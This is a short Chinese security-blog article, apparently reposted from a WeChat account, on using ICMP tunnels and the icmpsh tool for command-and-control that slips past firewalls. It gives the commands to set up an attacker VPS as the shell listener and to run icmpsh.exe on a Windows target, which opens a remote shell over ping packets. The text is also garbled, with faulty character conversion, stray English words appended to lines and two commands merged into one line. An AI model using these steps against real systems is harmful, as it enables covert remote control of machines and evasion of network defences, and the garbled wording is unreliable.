

目錄css
ICMP隧道python
使用ICMP進行命令控制(Icmpsh)nginx


ICMP隧道簡單實用,是一個比較特殊的協議。在通常的通訊協議裏,若是兩臺設備要進行通訊,確定須要開放端口,而在ICMP協議下就不須要。最多見的ping命令就是利用的ICMP協議,攻擊者能夠利用命令行獲得比回覆更多的ICMP請求。在一般狀況下,每一個ping命令都有相應的回覆與請求。git
在一些網絡環境中,若是攻擊者使用各種上層隧道(例如:HTTP隧道、DNS隧道、常規正/反向端口轉發等)進行的操做都失敗了,經常會經過ping命令訪問遠程計算機,嘗試創建ICMP隧道,將TCP/UDP數據封裝到ICMP的ping數據包中,從而穿過防火牆(防火牆通常不會屏蔽ping的數據包),實現不受限制的訪問訪問。github

適用場景:目標機器是Windows服務器的狀況web
git clone https://github.com/inquisb/icmpsh.git #先下載icmpsh工具
VPS的操做:安全
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #關閉icmp回覆,若是要開啓icmp回覆,該值設置爲0python2 icmpsh_m.py 172.31.226.161 x.x.x.x #運行,第一個IP是VPS的eth0網卡IP,第二個IP是目標機器出口的公網IP
目標機器的操做:服務器
icmpsh.exe -t x.x.x.x -d 500 -b 30 -s 128
抓包,能夠看到二者之間通訊都是icmp的數據包微信
相關文章:網絡
本文分享自微信公衆號 - 貝塔安全實驗室(BetaSecLab)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。